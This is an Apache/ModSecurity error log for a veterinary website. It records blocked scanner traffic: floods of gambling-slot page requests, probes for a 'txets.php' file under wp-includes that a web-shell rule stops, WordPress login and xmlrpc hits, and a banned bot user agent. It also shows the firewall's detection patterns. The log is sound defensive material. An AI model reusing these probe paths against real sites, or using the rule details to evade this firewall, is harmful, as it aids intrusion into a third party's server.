[Sun May 03 23:04:46.332606 2026] [:error] [pid 37130:tid 37219] [client 81.167.26.57:58723] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "afdkDqIu7bmXKXicRk-UAAAAAIY"]
[Sun May 03 23:04:48.928296 2026] [:error] [pid 40386:tid 40402] [client 81.167.26.57:30932] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "afdkEFHJDYRXUf3IbRQwIQAAAM4"]
[Sun May 03 23:04:51.358461 2026] [:error] [pid 34432:tid 34457] [client 81.167.26.57:60133] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "afdkE573JKVQ0wlof4KZTQAAAdc"]
[Sun May 03 23:04:53.978456 2026] [:error] [pid 37130:tid 37229] [client 81.167.26.57:22772] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "afdkFaIu7bmXKXicRk-UBQAAAJA"]
[Sun May 03 23:05:27.864679 2026] [:error] [pid 37126:tid 37173] [client 81.167.26.57:17026] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afdkN_R_A42N-LtDyrtWJAAAABQ"]
[Sun May 03 23:05:30.465286 2026] [:error] [pid 54535:tid 54538] [client 81.167.26.57:26794] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afdkOvRyz79iR-ntJRIMVwAAAgE"]
[Sun May 03 23:05:33.054749 2026] [:error] [pid 34432:tid 34438] [client 81.167.26.57:24823] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afdkPZ73JKVQ0wlof4KZYQAAAcQ"]
[Sun May 03 23:05:35.653724 2026] [:error] [pid 37130:tid 37228] [client 81.167.26.57:34659] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afdkP6Iu7bmXKXicRk-UOgAAAI8"]
[Sun May 03 23:05:38.288816 2026] [:error] [pid 37126:tid 37171] [client 81.167.26.57:29923] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afdkQvR_A42N-LtDyrtWKAAAABI"]
[Sun May 03 23:05:40.914138 2026] [:error] [pid 54535:tid 54552] [client 81.167.26.57:15197] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afdkRPRyz79iR-ntJRIMWwAAAg8"]
[Sun May 03 23:05:43.527524 2026] [:error] [pid 40456:tid 40461] [client 81.167.26.57:54388] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afdkRzSujTvwdzEkjSdkMwAAAYM"]
[Sun May 03 23:05:46.168534 2026] [:error] [pid 40386:tid 40400] [client 81.167.26.57:15840] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afdkSlHJDYRXUf3IbRQwJwAAAMw"]
[Sun May 03 23:05:48.754519 2026] [:error] [pid 40422:tid 40431] [client 81.167.26.57:26926] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afdkTEHBbBLrXh6PButZJQAAAUU"]
[Sun May 03 23:05:51.391428 2026] [:error] [pid 54535:tid 54542] [client 81.167.26.57:56180] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afdkT_Ryz79iR-ntJRIMXwAAAgU"]
[Sun May 03 23:05:53.878772 2026] [:error] [pid 54535:tid 54560] [client 81.167.26.57:15556] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afdkUfRyz79iR-ntJRIMYgAAAhc"]
[Sun May 03 23:05:56.484082 2026] [:error] [pid 37127:tid 37196] [client 81.167.26.57:53649] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afdkVP8khJXb5O5aWVVQdQAAAEw"]
[Sun May 03 23:05:59.097204 2026] [:error] [pid 34432:tid 34449] [client 81.167.26.57:16918] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afdkV573JKVQ0wlof4KZcQAAAc8"]
[Sun May 03 23:06:01.671317 2026] [:error] [pid 37126:tid 37164] [client 81.167.26.57:37419] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "afdkWfR_A42N-LtDyrtWLQAAAAs"]
[Sun May 03 23:06:04.292514 2026] [:error] [pid 34432:tid 34439] [client 81.167.26.57:19199] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afdkXJ73JKVQ0wlof4KZcwAAAcU"]
[Sun May 03 23:06:06.936646 2026] [:error] [pid 37126:tid 37177] [client 81.167.26.57:2421] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afdkXvR_A42N-LtDyrtWMQAAABg"]
[Sun May 03 23:06:09.516903 2026] [:error] [pid 37246:tid 37255] [client 81.167.26.57:14436] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afdkYThvYFGNwhnPampAMAAAAQc"]
[Sun May 03 23:06:12.120346 2026] [:error] [pid 40386:tid 40397] [client 81.167.26.57:35504] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afdkZFHJDYRXUf3IbRQwKgAAAMk"]
[Sun May 03 23:06:14.730012 2026] [:error] [pid 40422:tid 40445] [client 81.167.26.57:53200] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "afdkZkHBbBLrXh6PButZKwAAAVM"]
[Sun May 03 23:06:17.360301 2026] [:error] [pid 37246:tid 37252] [client 81.167.26.57:58953] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "afdkaThvYFGNwhnPampAXAAAAQQ"]
[Sun May 03 23:06:19.967041 2026] [:error] [pid 37126:tid 37159] [client 81.167.26.57:54672] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "afdka_R_A42N-LtDyrtWMwAAAAY"]
[Sun May 03 23:06:20.184607 2026] [:error] [pid 37246:tid 37252] [client 81.167.26.57:58953] [client 81.167.26.57] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.141.14.26_bb694759cd2c22a01c1316c1c32e166b75850636"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "afdkaThvYFGNwhnPampAXAAAAQQ"]
[Sun May 03 23:06:22.587475 2026] [:error] [pid 37130:tid 37217] [client 81.167.26.57:51858] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "afdkbqIu7bmXKXicRk-USwAAAIQ"]
[Sun May 03 23:06:57.127271 2026] [:error] [pid 54535:tid 54547] [client 81.167.26.57:32561] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afdkkfRyz79iR-ntJRIMiQAAAgo"]
[Sun May 03 23:06:59.694979 2026] [:error] [pid 37246:tid 37265] [client 81.167.26.57:51183] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afdkkzhvYFGNwhnPampAdwAAAQ8"]
[Sun May 03 23:07:02.294502 2026] [:error] [pid 40422:tid 40445] [client 81.167.26.57:8443] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afdklkHBbBLrXh6PButZRQAAAVM"]
[Sun May 03 23:07:04.869895 2026] [:error] [pid 37130:tid 37236] [client 81.167.26.57:43552] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afdkmKIu7bmXKXicRk-UVgAAAJc"]
[Sun May 03 23:07:07.450128 2026] [:error] [pid 37130:tid 37223] [client 81.167.26.57:27397] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afdkm6Iu7bmXKXicRk-UWgAAAIo"]
[Sun May 03 23:07:10.029291 2026] [:error] [pid 37246:tid 37252] [client 81.167.26.57:2686] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afdknjhvYFGNwhnPampAeQAAAQQ"]
[Sun May 03 23:07:12.634010 2026] [:error] [pid 40422:tid 40436] [client 81.167.26.57:40540] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afdkoEHBbBLrXh6PButZTgAAAUo"]
[Sun May 03 23:34:37.890203 2026] [:error] [pid 40386:tid 40399] [client 49.51.38.193:55008] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afdrDVHJDYRXUf3IbRQxXwAAAMs"]
[Mon May 04 02:11:36.577678 2026] [:error] [pid 37126:tid 37173] [client 139.155.126.16:47708] [client 139.155.126.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afeP2PR_A42N-LtDyrtfDwAAABQ"]
[Mon May 04 03:13:12.571690 2026] [:error] [pid 55470:tid 55539] [client 45.187.110.142:4427] [client 45.187.110.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.187.110.142, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afeeSFOc8RmwXMq-d3hgfgAAABM"]
[Mon May 04 05:27:07.558436 2026] [:error] [pid 57047:tid 57093] [client 113.191.102.170:39653] [client 113.191.102.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.191.102.170, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afe9q1tCAxKLCAMkLV2U6QAAAEM"]
[Mon May 04 08:17:37.502541 2026] [:error] [pid 12051:tid 12054] [client 114.119.145.22:29849] [client 114.119.145.22] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "affloerVB-w_PyOHK6k1eQAAAUE"]
[Mon May 04 08:19:38.702813 2026] [:error] [pid 11959:tid 12002] [client 114.119.157.156:47307] [client 114.119.157.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "affmGgojk2nvxs7h5KvJBQAAAM4"], referer: http://vetstars.com.au/
[Mon May 04 08:20:45.665519 2026] [ssl:error] [pid 12022:tid 12029] [client 15.204.183.221:53574] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Mon May 04 08:40:45.689029 2026] [:error] [pid 12022:tid 12039] [client 114.119.143.210:26117] [client 114.119.143.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "affrDUVhgvCNKBWnaTIt_QAAAI8"], referer: http://vetstars.com.au/
[Mon May 04 09:07:53.450149 2026] [ssl:error] [pid 12051:tid 12074] [client 15.204.183.221:63072] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Mon May 04 10:20:11.495297 2026] [:error] [pid 12022:tid 12044] [client 45.94.31.15:57355] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afgCW0VhgvCNKBWnaTJMpgAAAJQ"]
[Mon May 04 10:20:11.982298 2026] [:error] [pid 33186:tid 33213] [client 45.94.31.15:57463] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afgCW7qlqe0DcmBS9Vz8bAAAABg"]
[Mon May 04 10:20:12.472096 2026] [:error] [pid 33186:tid 33204] [client 45.94.31.15:57552] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afgCXLqlqe0DcmBS9Vz8bgAAAA8"]
[Mon May 04 10:20:15.194136 2026] [:error] [pid 11959:tid 12008] [client 45.94.31.15:58042] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "afgCXwojk2nvxs7h5KvmMAAAANQ"]
[Mon May 04 10:50:59.279683 2026] [:error] [pid 12051:tid 12077] [client 59.125.102.142:32808] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afgJk-rVB-w_PyOHK6lzCQAAAVg"]
[Mon May 04 11:04:39.861414 2026] [:error] [pid 12022:tid 12040] [client 43.133.66.51:54578] [client 43.133.66.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afgMx0VhgvCNKBWnaTJbDAAAAJA"]
[Mon May 04 11:05:48.152914 2026] [:error] [pid 12051:tid 12060] [client 212.250.155.247:37596] [client 212.250.155.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.250.155.247, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afgNDOrVB-w_PyOHK6l3mQAAAUc"]
[Mon May 04 11:26:33.845533 2026] [:error] [pid 33186:tid 33202] [client 185.248.100.157:55626] [client 185.248.100.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.248.100.157, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afgR6bqlqe0DcmBS9VwakwAAAA0"]
[Mon May 04 11:32:48.142845 2026] [:error] [pid 64610:tid 64613] [client 103.114.34.35:45450] [client 103.114.34.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.114.34.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afgTYGhJ7aZW62UOoWgnMwAAAQE"]
[Mon May 04 11:33:34.238444 2026] [:error] [pid 12022:tid 12025] [client 103.114.34.35:41847] [client 103.114.34.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.114.34.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afgTjkVhgvCNKBWnaTJmcgAAAIE"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Mon May 04 11:38:24.092614 2026] [:error] [pid 64610:tid 64615] [client 104.28.153.121:15403] [client 104.28.153.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "afgUsGhJ7aZW62UOoWgq9AAAAQM"]
